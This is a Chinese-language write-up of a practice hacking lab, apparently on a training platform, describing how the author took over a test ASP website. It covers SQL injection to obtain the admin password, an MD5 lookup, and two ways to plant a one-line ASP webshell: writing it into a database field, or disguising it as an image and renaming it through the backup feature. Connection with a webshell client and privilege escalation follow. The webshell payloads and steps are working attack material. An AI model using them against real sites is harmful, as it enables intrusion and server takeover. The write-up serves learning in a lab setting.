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感受 ，做这些实验主要难点我感觉就是上传webshell 了，他插入shell的姿势让我防不胜防，这里插那里插，上一个实验还需要
闭合引号，这个实验不用闭合引号，上个实验路径比较简单，这个实验路径比较复杂，尤其是 bear.asp的文件是数据库文件 …
想了好久才想通，到底为什么不用闭合引号 … 为什么路径是/db/bear.asp … 上传sehll有两种方法，都学习了是不吃亏的哦 ~

实验过程实验过程  ：：  

由上次实验知道得到一个陌生的网站需要干的事情，首先扫描后台，然后利用网站的漏洞，找管理员账号密码 
哪里有注入点，如果不知道的话建议先学学Sql注入吧 … 少用工具去检测是否存在漏洞 … 

 
这里密码被加密，百度搜md5 在线解密，解密即可，获取管理员账号密码后，扫描后台 
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登陆进去后找上传shell的地方，然后提权，进一步控制对方服务器这里有两种方法 
传入传入shell方法一　直接写入方法一　直接写入asp文件文件  

就是在这里进行插入一句话，对于新手来说可能不太懂为什么这样插，因为那时我就很迷惑，然后捋清思路，这里输入的东西肯

定是要存储进数据库，那么数据库在哪里？ 在备份数据库哪里可以看到数据库名字是bear.asp ，然后直接写 <% Eval
Request(1)%> ，保存 
使用菜刀连接即可



　　传入传入shell方法二方法二  利用备份数据库功能利用备份数据库功能  

　　点击 [设置管理] –> [系统变量设置]，发现系统设置中有上传图片的地方，下一步，构造图片木马； 

在桌面上新建一个文本文件，在里面写入一句话木马 
<%Eval Request(“ichunqiu”)%> 
后面随便输入一些内容，纯粹是为了增加图片体积，但要注意，几十Kb足矣，体积太大太小都不行； 



然后将文件重命名为jpg格式文件，点击 [上传图片]，把刚才构造的图片传上去,然后点击 [生成代码],这里会给出图片保存的路
径，一会儿菜刀连接需要这个路径 

关键步骤到了！点击左侧菜单 [数据管理]–>[备份/恢复数据库]，把 [数据库路径] 修改为刚才复制的图片路径，[备份的数据库路
径] 修改为后缀名为asp的文件，文件名自己取，记住就行，然后点击备份；[ 特别注意：两个路径的最前面都有斜杠 ]

两种方法都能将shell上传成功，然后就是菜刀连接了 
连接进去之后，上传一个cmd.exe 执行命令，创建用户提示权限不够，然后上传pr.exe 这个是专门用来提权的

PS: 
提权和获取服务器主机hash，这里在上一个实验的文章中已经有详细介绍，不再继续介绍

PS： 
如果你留心，会发现第一题问的是论坛管理员的密码是多少，这里我在看别人文章时才注意到的，当我提交的是论坛管理员的密

码，最后得分总是87分，不能解锁下一关实验，然后我输入网站管理员密码，最后得分102 成功解锁下一关实验
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